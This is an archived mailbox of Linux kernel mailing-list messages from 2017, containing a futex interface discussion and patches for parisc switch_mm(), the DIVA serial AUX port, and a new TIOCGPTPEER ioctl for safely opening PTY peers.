> > You wish. The constants are not used, but FUTEX_WAKE_OP _IS_ used by
> > glibc. They only have one argument it seems:
> > 
> >    #define FUTEX_OP_CLEAR_WAKE_IF_GT_ONE      ((4 << 24) | 1)
> > 
> > but I'm pretty sure that there is enough (probably horrible) code (think
> > java) out there using FUTEX_WAKE_OP for whatever (non)sensical reasons in
> > any available combination.
> 
> Indeed, and I'm not proposing to get rid of that. It's the grossly
> over-engineered array of operations and the FUTEX_OP_OPARG_SHIFT modifier
> that I think we should kill. The latter likely behaves differently across
> different architectures and potentially depending on the toolchain you used
> to build the kernel.
> 
> Does anybody know the history behind the interface design?

Which design?

4732efbeb997 ("[PATCH] FUTEX_WAKE_OP: pthread_cond_signal() speedup")

Thanks,

	tglx

From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc/mm: Ensure IRQs are off in switch_mm()
Date: Mon, 29 May 2017 17:14:16 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20170529151415.GA20946@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496070867 3445 195.159.176.226 (29 May 2017 15:14:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 29 May 2017 15:14:27 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 29 17:14:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dFMNB-000652-Hx
	for glpp-linux-parisc@m.gmane.org; Mon, 29 May 2017 17:14:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751011AbdE2PO1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 29 May 2017 11:14:27 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57694 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750987AbdE2PO0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 29 May 2017 11:14:26 -0400
Original-Received: from ls3530.fritz.box ([193.159.22.181]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LdKs1-1dg8YE08xt-00iSqE; Mon, 29
 May 2017 17:14:19 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:egF2YB3hX498jODZgxka3H5Dqr2vWEnifWCpvWVD0bHXSCuw+6u
 Uj4piqG7LhS/gquZFQ9ayQ1tkBdud/oWqCNi+D+9WUzCxp56861CR5fvUD1i4AGJlkvPELC
 c1uM/snGZXyxI7RgD0yVMUWESz6G/ja6jThE5vShEYjSi8pztzXAIOGyX9ybGNcc6YH2H1C
 O9iAlIC8xa4lNtN/KXqqw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0hDRNGdg4v8=:Kiznc7DLuf7ja9SSWjxrJw
 nWaH8YaOh5TIOdC+jdNuX9je1W4PVf6FTLDDW1fl+zJCL0EmkhSO4FIj0PnRvC5RAbjjAYCth
 phP4vftJsIWcHzEB6g3A4p7SFUc0CaIy7yTZTZNUgEsw7n0+4ccqW/Fqw+PXSKCGce6XwD8wj
 tUiwm93/xS18evkfR+PZZnLaw7Jq8A/anfwmXSlR2wVryBFhKlS2oEmxFBS1QhMUTt4Olpr0n
 ZEXQ0t/ekvUzypUJDJnx72Jed/O4BHhw2ses55dClo3RTAx1YumExSoAn6QEX3tLI9HNgnwHE
 WZNxHMdsOt/rbtAcxtIqLvlXllh7NvZA03pUlBHHuPLuBn0RmYfLSpAALUi5cGdHqrUTJaA1t
 HDz0B+y02bvBOPfy9fswrZDVZNHHh+avlRwZf9fulZPN+5WWd3ru15F8GO8wMn8h9PnpobpbL
 Dhr38cmf41MLzEOs0s1j+1gq46MSJcYa2OZypVDQ6QRDupu6qf24M1MuyuE16sLj6K8SH/6YQ
 2k/phe5zKBb0akyI5NIUS5xszBPGWphZ05MS0nfVlhQ51sCO3tm2KNvRF33OXFWg1jlffmGzp
 347lcpUXx3mm9rso3NHgggnaY0gVQtttWWHiLtd+oFkD9mra8PzQAKPKPwuRep0beo36t5A4s
 LahBFp0PN+ps1XF96zAk6YKtMmJDdwT//f+bI+ZRBcIb/B8Egx49+XfegNuSma/rwtlJXTOPj
 6qWVFTEeUEJPGYEL0FRIw+U6gt2xMvrk55Hjtr9R+oNEZ38Tf4AcSH9IAMs=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27435>

This is because of commit f98db6013c55 ("sched/core: Add switch_mm_irqs_off()
and use it in the scheduler") in which switch_mm_irqs_off() is called by the
scheduler, vs switch_mm() which is used by use_mm().

This patch lets the parisc code mirror the x86 and powerpc code, ie. it
disables interrupts in switch_mm(), and optimises the scheduler case by
defining switch_mm_irqs_off().

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # v4.7+

diff --git a/arch/parisc/include/asm/mmu_context.h b/arch/parisc/include/asm/mmu_context.h
index 59be257..a812262 100644
--- a/arch/parisc/include/asm/mmu_context.h
+++ b/arch/parisc/include/asm/mmu_context.h
@@ -49,15 +49,26 @@ static inline void load_context(mm_context_t context)
 	mtctl(__space_to_prot(context), 8);
 }
 
-static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, struct task_struct *tsk)
+static inline void switch_mm_irqs_off(struct mm_struct *prev,
+		struct mm_struct *next, struct task_struct *tsk)
 {

From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v2] serial/parisc: Ignore AUX port of DIVA on rp34xx machines
Date: Mon, 29 May 2017 22:05:45 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20170529200545.GA19561@p100.box>
References: <20170521211623.GA22326@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496088356 3533 195.159.176.226 (29 May 2017 20:05:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 29 May 2017 20:05:56 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 29 22:05:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dFQvG-0000gQ-3X
	for glpp-linux-parisc@m.gmane.org; Mon, 29 May 2017 22:05:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750880AbdE2UFz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 29 May 2017 16:05:55 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53263 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750873AbdE2UFy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 29 May 2017 16:05:54 -0400
Original-Received: from p100.box ([193.159.22.181]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MA91t-1d4fI22ZJJ-00BIAH; Mon, 29
 May 2017 22:05:47 +0200
Content-Disposition: inline
In-Reply-To: <20170521211623.GA22326@ls3530.fritz.box>
X-Provags-ID: V03:K0:BYxIvpyUPVFOwMZEx88wBmf2a7G962/uU7cFP2tXsjcC2n+FRgK
 OLoKz3eaqGsUDirwRSGgHzqnIrrTiGptNPXgjhzENedN3vnSq0VcKTENad0mHDgq/No8FMw
 DD1DJyluFoWg86Rjx8DDDwIDB6k3HSEJ6i8TsdqZ/kvZqXDxSiHZsQghw82oR0p/DaBYq96
 I70sj7VUMVkDHFHhRlKcA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fKc+TsnYB1o=:C8cTN9XCqMaenIliEww5b3
 b1onsbFHxI3wLZQHENtmPwRWAM2X6jY2F7Aw+LPCy6SOavpHjZ39H6aFTLc5WOp3byglRfpgm
 dT+4RRTaxS2tWc/r5NKl07RDazjCOWXRZMP2vZo/gAwqXx7VTRv6ErKffv7rxfFuu/UCgNTNk
 qMecMITckQXlHLC+Kun0qR7n74OX8jVQddc7KJ9Gx4okcGG8v6BKJCjQ76spcpz07Q1wJ8BR8
 8swhpdA/Fq8ngWX79+WDBjVIaIogU7bYWS23W61PF2YgRpkzlrp+bTTDoWzOWa4lmbjFlxogK
 C6eAU2JniM8ksP2xqTci+f036STV5/LOvQKkIG61Ev91kOoP6ZRcDkK4JWTsYSsR+fE1KloZL
 guGTb4jFifi2JRrh3oNcTE4pg2w84Csrw20ORrfHDyha4EgvLXpW2eK7BcR4Y1p1hfcXqCtpn
 Ms7cdCepljZ3gScl0R+LTm48LsQ1YJdOIyz6DTkasTTq2eNx7nV9fTgw/6GUZyLbyhueUhsZn
 7qnyNb2p1rqLHWSK3NI8tqGSFepPS7kGIq2+/xmdafkITDXC3bSEGXDsXis7A/lL8JcMpa5fW
 3ZALqvoZOV/XVs07t70AEWsnS0TkDP5WwA12eWFYtA0DwIltloUksqMgjxYbnJHvWRv79y/EX
 922wby0JfWPDSsrt726/WAIzaASIRsGQFph557yQpYmsmH3oneMba96KtYWuXzYfWn+UGTfjo
 fQ7YEfu555Yev1UFIQ5iNLVPUAsefCR1Pf6kNdyFRLGhKSzvItwICGf0fPc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27436>

On rp34xx machines Linux detects the AUX port of the DIVA GSP card (PCI
subsystem id 0x1291) before the console port of DIVA GSP and as such the AUX
port becomes ttyS0 and the console port becomes ttyS1.
Since the palo bootloader by default sets the console output to ttyS0 if no
keyboard & monitor is attached, all Linux kernel boot messages get lost.

Avoid this problem by ignoring the AUX port. There is no external serial
port connector for AUX, so we won't miss this serial port either.

Tested on a rp3410 parisc machine.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/8250/8250_pci.c
index 00e51a0..2ec120e 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -174,6 +174,9 @@ static int pci_hp_diva_init(struct pci_dev *dev)
 	case PCI_DEVICE_ID_HP_DIVA_HURRICANE:
 		rc = 1;
 		break;
+	case PCI_DEVICE_ID_HP_DIVA_AUX2:
+		rc = -ENODEV; /* ignore on rp34x0 machines */
+		break;
 	}
 
 	return rc;
@@ -1785,6 +1788,17 @@ static struct pci_serial_quirk pci_serial_quirks[] __refdata = {
 		.setup		= pci_hp_diva_setup,
 	},
 	/*
+	 * HP Diva Auxiliary Serial Port
+	 */
+	{
+		.vendor		= PCI_VENDOR_ID_HP,
+		.device		= PCI_DEVICE_ID_HP_DIVA_AUX,
+		.subvendor	= PCI_VENDOR_ID_HP,
+		.subdevice	= PCI_DEVICE_ID_HP_DIVA_AUX2,
+		.init		= pci_hp_diva_init,
+		.setup		= pci_default_setup,
+	},
+	/*
 	 * Intel
 	 */
 	{
diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h
index 5f6b71d..ecc88a3 100644
--- a/include/linux/pci_ids.h
+++ b/include/linux/pci_ids.h
@@ -762,6 +762,7 @@
 #define PCI_DEVICE_ID_HP_SX1000_IOC	0x127c
 #define PCI_DEVICE_ID_HP_DIVA_EVEREST	0x1282
 #define PCI_DEVICE_ID_HP_DIVA_AUX	0x1290
+#define PCI_DEVICE_ID_HP_DIVA_AUX2	0x1291
 #define PCI_DEVICE_ID_HP_DIVA_RMP3	0x1301
 #define PCI_DEVICE_ID_HP_DIVA_HURRICANE	0x132a
 #define PCI_DEVICE_ID_HP_CISSA		0x3220
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v2] serial/parisc: Ignore AUX port of DIVA on rp34xx
 machines
Date: Tue, 30 May 2017 23:21:12 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <6f18e42e-e4e3-311d-163a-fed71268e8f0@gmx.de>
References: <20170521211623.GA22326@ls3530.fritz.box>
 <20170529200545.GA19561@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496179284 7241 195.159.176.226 (30 May 2017 21:21:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 30 May 2017 21:21:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 30 23:21:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dFoZp-0001en-Bx
	for glpp-linux-parisc@m.gmane.org; Tue, 30 May 2017 23:21:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750821AbdE3VVW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 30 May 2017 17:21:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58949 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750811AbdE3VVV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 30 May 2017 17:21:21 -0400
Original-Received: from [192.168.20.60] ([193.159.17.209]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MbxJ8-1dWnSm15wk-00JMwP; Tue, 30
 May 2017 23:21:14 +0200
In-Reply-To: <20170529200545.GA19561@p100.box>
X-Provags-ID: V03:K0:bGc4Ejn9bIqKGRNf9hLHP9BDofL/3Zv5MBUuoJkKhKayaohisWa
 NsMJH0zb2BhyezHbfbqlWezHDNcoqufJ7BlKuDrlSP1HTSG/++DuQvfGbMllGAKNPDWc1F/
 l7jwDxutdCvoYi1LSmnuvhmhcdGa0YpUZnA6d6qcCyCi8HmbeAxbO/3l0WH0eDUHftBtcGt
 WM3qDbSmgdTWuDA489/4Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:bxjdR8FoSck=:hhrRe7e7P0k2/nBjS4Uyxl
 pQhiH3hq0rNIV6kXMbAUE6lzbHcv2clUrnPYmB7tmeaSPrBuDk0HH2CIyFYtGXs5IbguwWugN
 GXlOpJW9dzVlvaaEyQzPE+zfUeHQh1g/aDXxgj4Kfk2jKzN6XPI6PdyNtEP2BIhOqT8QxsRm+
 ftoRfIncuS12P9SsG3iO+qJhznlQZ+QMW6poS4oH0kH/kdazaRmQVdlrk7lIjumLYU6cL4xje
 huQ7Es0PT+thnu6LI2X4Ht0vf0R3ITDVKMDspjjwCsg1mv1+I1e6KQn52n+zSZaaGr6JtQF10
 FCiYAXthSq/eFrt37viXDZfRWEsiQ20B34mgF46RCnaSIyQy/9wgUoMgd5LqMNCznVSUYGz6g
 4FbWExds7q/X+f7Y8+DvLZq/WTZR6GlWt0Lu9qs8hV7rvAJI3NvQbWv5W0wmrQ4qSYPfPBSNe
 ido1kGN9Egdh+NEz0rfNJcG144yCO3bbdd3POZirWxpRmWlLGJNNzZtM0AywIxIrZj/ITxz1u
 QqKNEXjEPDTI3Hrkdkt5pmBm5bKVrP3ixuQptHenP+Ph97d9YJLjhysC/PXub/DYAUECNKtIY
 2O2oBrj7xpPDTpsbMgmdjT4vl4ttPSsS/qaa4PuZTG/Re77S/r+13c7PqNvYeNI0VRCgaiLVk
 5zPjhPrQ0tYXgpZLNsAb/uJ5Z4zHeOBLWTYIAyZUvLLMZhxvYLqRYG83URtJlWCp/hKpm2Cxc
 i3HLO8OW/acpjb2LWCi2g5HXst6RgP7bnZeu9bz1mxispiWNtYR+zbWkD3maoTtRDEZbFEdH 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27437>

On 29.05.2017 22:05, Helge Deller wrote:
> On rp34xx machines Linux detects the AUX port of the DIVA GSP card (PCI
> subsystem id 0x1291) before the console port of DIVA GSP and as such the AUX
> port becomes ttyS0 and the console port becomes ttyS1.
> Since the palo bootloader by default sets the console output to ttyS0 if no
> keyboard & monitor is attached, all Linux kernel boot messages get lost.
> 
> Avoid this problem by ignoring the AUX port. There is no external serial
> port connector for AUX, so we won't miss this serial port either.
> 
> Tested on a rp3410 parisc machine.

I will drop this patch.
Instead I've committed changes to the palo bootloader
to default to ttyS1 on rp34x0 machines.
Patch is in palo git tree, palo v1.98 release will include that fix:
https://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git/commit/?id=9bb40b5ab775a077fd847c6ff99462249cc3f426

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH] tty: add TIOCGPTPEER ioctl
Date: Fri,  2 Jun 2017 03:38:03 +1000
Lines: 264
Approved: news@gmane.org
Message-ID: <20170601173803.8698-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496338697 6229 195.159.176.226 (1 Jun 2017 17:38:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Jun 2017 17:38:17 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org, Aleksa Sarai <asarai@suse.de>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jun 01 19:38:12 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dGU31-0006pY-AK
	for glka-linux-arch@m.gmane.org; Thu, 01 Jun 2017 19:38:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751198AbdFARiP (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Thu, 1 Jun 2017 13:38:15 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:58510 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751148AbdFARiO (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Thu, 1 Jun 2017 13:38:14 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id B53C3ABB1;
        Thu,  1 Jun 2017 17:38:11 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:36935 gmane.linux.kernel:2489759 gmane.linux.ports.alpha:4204 gmane.linux.ports.mips.general:59305 gmane.linux.ports.parisc:27438 gmane.linux.ports.ppc64.devel:142725 gmane.linux.ports.sh.devel:55358 gmane.linux.ports.sparc:25258
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/36935>

When opening the slave end of a PTY, it is not possible for userspace to
safely ensure that /dev/pts/$num is actually a slave (in cases where the
mount namespace in which devpts was mounted is controlled by an
untrusted process). In addition, there are several unresolvable
race conditions if userspace were to attempt to detect attacks through
stat(2) and other similar methods [in addition it is not clear how
userspace could detect attacks involving FUSE].

Resolve this by providing an interface for userpace to safely open the
"peer" end of a PTY file descriptor by using the dentry cached by
devpts. Since it is not possible to have an open master PTY without
having its slave exposed in /dev/pts this interface is safe. This
interface currently does not provide a way to get the master pty (since
it is not clear whether such an interface is safe or even useful).

Cc: Christian Brauner <christian.brauner@ubuntu.com>
Cc: Valentin Rothberg <vrothberg@suse.com>
Signed-off-by: Aleksa Sarai <asarai@suse.de>
---
 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 71 ++++++++++++++++++++++++++++++++--
 include/uapi/asm-generic/ioctls.h      |  1 +
 9 files changed, 76 insertions(+), 5 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/uapi/asm/ioctls.h
index f30c94ae1bdb..f6ec120fdccd 100644
--- a/arch/alpha/include/uapi/asm/ioctls.h
+++ b/arch/alpha/include/uapi/asm/ioctls.h
@@ -94,6 +94,7 @@
 #define TIOCSRS485	_IOWR('T', 0x2F, struct serial_rs485)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 #define TIOCGDEV	_IOR('T',0x32, unsigned int) /* Get primary device node of /dev/console */
 #define TIOCSIG		_IOW('T',0x36, int)  /* Generate signal on Pty slave */
 #define TIOCVHANGUP	0x5437
diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi/asm/ioctls.h
index 740219c2c894..6a44a4d82a6f 100644
--- a/arch/mips/include/uapi/asm/ioctls.h
+++ b/arch/mips/include/uapi/asm/ioctls.h
@@ -85,6 +85,7 @@
 #define TIOCSRS485	_IOWR('T', 0x2F, struct serial_rs485)
 #define TIOCGPTN	_IOR('T', 0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T', 0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 #define TIOCGDEV	_IOR('T', 0x32, unsigned int) /* Get primary device node of /dev/console */
 #define TIOCSIG		_IOW('T', 0x36, int)  /* Generate signal on Pty slave */
 #define TIOCVHANGUP	0x5437
diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index b6572f051b67..b89a7029a83f 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -54,6 +54,7 @@
 #define TIOCSRS485	_IOWR('T', 0x2F, struct serial_rs485)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 #define TIOCGDEV	_IOR('T',0x32, int)  /* Get primary device node of /dev/console */
 #define TIOCSIG		_IOW('T',0x36, int)  /* Generate signal on Pty slave */
 #define TIOCVHANGUP	0x5437
diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/include/uapi/asm/ioctls.h
index 49a25796a61a..28ccc176e403 100644
--- a/arch/powerpc/include/uapi/asm/ioctls.h
+++ b/arch/powerpc/include/uapi/asm/ioctls.h
@@ -94,6 +94,7 @@
 #define TIOCSRS485	0x542f
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 #define TIOCGDEV	_IOR('T',0x32, unsigned int) /* Get primary device node of /dev/console */
 #define TIOCSIG		_IOW('T',0x36, int)  /* Generate signal on Pty slave */
 #define TIOCVHANGUP	0x5437
diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm/ioctls.h
index c9903e56ccf4..c155812f75db 100644
--- a/arch/sh/include/uapi/asm/ioctls.h
+++ b/arch/sh/include/uapi/asm/ioctls.h
@@ -87,6 +87,7 @@
 #define TIOCSRS485	_IOWR('T', 47, struct serial_rs485)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 #define TIOCGDEV	_IOR('T',0x32, unsigned int) /* Get primary device node of /dev/console */
 #define TIOCSIG		_IOW('T',0x36, int)  /* Generate signal on Pty slave */
 #define TIOCVHANGUP	_IO('T', 0x37)
diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/uapi/asm/ioctls.h
index 06b3f6c3bb9a..6d27398632ea 100644
--- a/arch/sparc/include/uapi/asm/ioctls.h
+++ b/arch/sparc/include/uapi/asm/ioctls.h
@@ -27,7 +27,7 @@
 #define TIOCGRS485	_IOR('T', 0x41, struct serial_rs485)
 #define TIOCSRS485	_IOWR('T', 0x42, struct serial_rs485)
 
-/* Note that all the ioctls that are not available in Linux have a 
+/* Note that all the ioctls that are not available in Linux have a
  * double underscore on the front to: a) avoid some programs to
  * think we support some ioctls under Linux (autoconfiguration stuff)
  */
@@ -88,6 +88,7 @@
 #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
 #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
 #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
+#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
 
 /* Little f */
 #define FIOCLEX		_IO('f', 1)
diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h
index 518954e74e6d..71f0a979647e 100644
--- a/arch/xtensa/include/uapi/asm/ioctls.h
+++ b/arch/xtensa/include/uapi/asm/ioctls.h
@@ -99,6 +99,7 @@
 #define TIOCSRS485	_IOWR('T', 47, struct serial_rs485)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
